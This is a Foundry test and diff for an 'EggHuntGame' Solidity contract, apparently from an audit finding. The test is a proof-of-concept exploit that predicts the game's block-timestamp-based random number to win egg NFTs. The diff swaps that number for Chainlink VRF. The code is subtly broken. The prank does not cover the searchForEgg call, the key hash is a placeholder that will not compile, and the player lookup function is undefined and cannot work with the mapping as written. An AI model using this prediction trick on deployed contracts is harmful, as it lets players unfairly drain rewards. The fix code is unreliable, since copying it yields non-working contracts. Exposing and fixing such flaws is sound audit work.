pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "src/EggstravaganzaNFT.sol";
import "src/EggVault.sol";
import "src/EggHuntGame.sol";
contract PredictableRNGTest is Test {
EggstravaganzaNFT eggNFT;
EggVault eggVault;
EggHuntGame eggGame;
address deployer = address(this);
address player = address(0x1234);
uint256 startTime;
function setUp() public {
eggNFT = new EggstravaganzaNFT("EggNFT", "EGG");
eggVault = new EggVault();
eggGame = new EggHuntGame(address(eggNFT), address(eggVault));
eggNFT.setGameContract(address(eggGame));
eggVault.setEggNFT(address(eggNFT));
}
function testPredictableRNGExploit() public {
uint256 duration = 3600;
eggGame.startGame(duration);
startTime = block.timestamp;
vm.prank(player);
for (uint256 i = 0; i < 100; i++) {
vm.warp(startTime + i);
uint256 predictedRNG = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
player,
eggGame.eggCounter()
)
)
) % 100;
emit log_named_uint("Predicted RNG", predictedRNG);
if (predictedRNG < eggGame.eggFindThreshold()) {
eggGame.searchForEgg();
emit log("Exploit Success! Egg found.");
return;
}
}
emit log("Exploit Failed. RNG unfavorable.");
}
}
@@ -1,6 +1,7 @@
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.23;
+import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import {EggstravaganzaNFT} from "./EggstravaganzaNFT.sol";
import {EggVault} from "./EggVault.sol";
-contract EggHuntGame is Ownable {
+contract EggHuntGame is Ownable, VRFConsumerBase {
/// @notice Minimum game duration in seconds.
uint256 public constant MIN_GAME_DURATION = 60;
@@ -10,6 +11,12 @@ contract EggHuntGame is Ownable {
bool public gameActive;
/// @notice References to the EggstravaganzaNFT and EggVault contracts.
+ bytes32 internal keyHash;
+ uint256 internal fee;
+
+ /// @notice Mapping to track random number requests
+ mapping(address => bytes32) public pendingEggRequests;
+
EggstravaganzaNFT public eggNFT;
EggVault public eggVault;
@@ -29,7 +36,18 @@ contract EggHuntGame is Ownable {
) Ownable(msg.sender) {
require(_eggNFTAddress != address(0), "Invalid NFT address");
require(_eggVaultAddress != address(0), "Invalid vault address");
+
eggNFT = EggstravaganzaNFT(_eggNFTAddress);
eggVault = EggVault(_eggVaultAddress);
+
+ // Chainlink VRF Setup
+ keyHash = 0xVRFCoordinatorKeyHash; // Replace with actual key hash
+ fee = 0.1 * 10**18; // 0.1 LINK (adjust as needed)
}
- /// @notice Participants call this function to search for an egg.
- /// A pseudo-random number is generated and, if below the threshold, an egg is found.
+ /// @notice Players request an egg search (randomness requested from Chainlink VRF)
function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
@@ -38,13 +56,15 @@ contract EggHuntGame is Ownable {
require(block.timestamp <= endTime, "Game ended");
- // Pseudo-random number generation (INSECURE)
- uint256 random = uint256(
- keccak256(
- abi.encodePacked(
- block.timestamp,
- block.prevrandao,
- msg.sender,
- eggCounter
- )
- )
- ) % 100;
+ require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
+
+ // Request a secure random number
+ bytes32 requestId = requestRandomness(keyHash, fee);
+ pendingEggRequests[msg.sender] = requestId;
+ }
+ /// @notice Called by Chainlink VRF with the actual random number
+ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
+ address player = findPlayerByRequestId(requestId);
+ uint256 random = randomness % 100;
+
+ if (random < eggFindThreshold) {
+ eggCounter++;
+ eggsFound[player] += 1;
+ eggNFT.mintEgg(player, eggCounter);
+ emit EggFound(player, eggCounter, eggsFound[player]);
+ }
+ }